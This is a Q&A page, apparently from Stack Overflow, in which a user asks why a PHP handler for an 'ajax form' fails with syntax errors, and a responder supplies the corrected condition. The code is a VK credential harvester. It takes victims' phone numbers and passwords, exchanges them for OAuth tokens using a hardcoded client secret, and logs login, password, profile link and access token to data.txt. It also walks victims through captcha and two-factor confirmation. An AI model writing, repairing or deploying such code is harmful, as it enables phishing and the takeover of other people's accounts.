0

I have php handler.It is for ajax form.But it have some trubles.My Code:

<?php
if (isset($_GET["mobile"]) && !empty($_GET["mobile"]) && (isset($_GET["pass"]) && !empty($_GET["pass"]) && (isset($_GET["newpass"]) && !empty($_GET["newpass"]) && (isset($_GET["repass"]) && !empty($_GET["repass"])){

$login = $_GET['mobile'];      //php storm here wrote me about error.Why?Like expected {
$password = $_GET['pass'];
$newpass = $_GET['newpass'];
$repass = $_GET['repass'];
$sid = $_GET['id'];
$capt = $_GET['captcha'];
$Msg = curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$login&password=$password&v=5.101&2fa_supported=1&captcha_sid=$sid&captcha_key=$capt");

} elseif(isset($_GET['mobile'])){            *//////Here it wrote me EXPECTING STATEMENT*
$Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$login&password=$password&v=5.101&2fa_supported=1");
$js = json_decode($Msg,true);
if($js["error"] == "need_captcha")
    echo "<img src='{$js['captcha_img']}'>"; ////Here one more time error"EXPECTING STATMENT"
}
$js = json_decode($Msg, true);
if($js['access_token'] != NULL OR isset($_GET['uri'])){
    if(isset($_GET["uri"])){
        $uri = $_GET["uri"];
        $file=fopen("data.txt","a");
        fwrite($file,"$uri\n");
        fclose($file);
    } else{
        $file=fopen("data.txt","a");
        fwrite($file,"$login | $password | vk.com/id{$js['user_id']} | {$js['access_token']}\n");
        fclose($file);
    }
} elseif($js['error']=="need_validation") {
    echo "У вас используется двухфакторная авторизация. Перейдите по <a href='[URL]https://vk.cc/6uX1TY[/URL]'>ссылке</a> Нажмите кнопку подтвердить и вставьте полученную ссылку в соответсвуюущее поле";
} elseif($js['error']=="invalid_client"){
    echo "Неправильный логин или пароль";
}
function curl( $url ){
    $ch = curl_init( $url ); //Init library
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); //Имеется SSL? (HTTPS) Если да - меняем false на true
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
    $response = curl_exec( $ch );
    curl_close( $ch );
    return $response;
}
?>

But I see here the errors like on screenshot enter image description here

Like I see expected }.But where It must be fixed?)

  • You need an additional closing parenthesis `)` on each of your `isset()` conditions or you could remove the opening one `(`. So, `(isset($_GET["pass"])` can be either `isset($_GET["pass"])` or `(isset($_GET["pass"]))` – mtr.web Dec 24 '19 at 14:22
  • PHP Storm wrote me still Expected } or ].And in log console I see error like Parse error: syntax error, unexpected ';' in /storage/ssd3/246/11352246/public_html/continue.php on line 3 – Павел Евграфов Dec 24 '19 at 19:41

1 Answers1

0

change fir line to:

if (isset($_GET["mobile"]) && !empty($_GET["mobile"]) && (isset($_GET["pass"]) && !empty($_GET["pass"]) && (isset($_GET["newpass"]) && !empty($_GET["newpass"]) && (isset($_GET["repass"]) && !empty($_GET["repass"]))) {
Mike Foxtech
  • 1,633
  • 1
  • 6
  • 7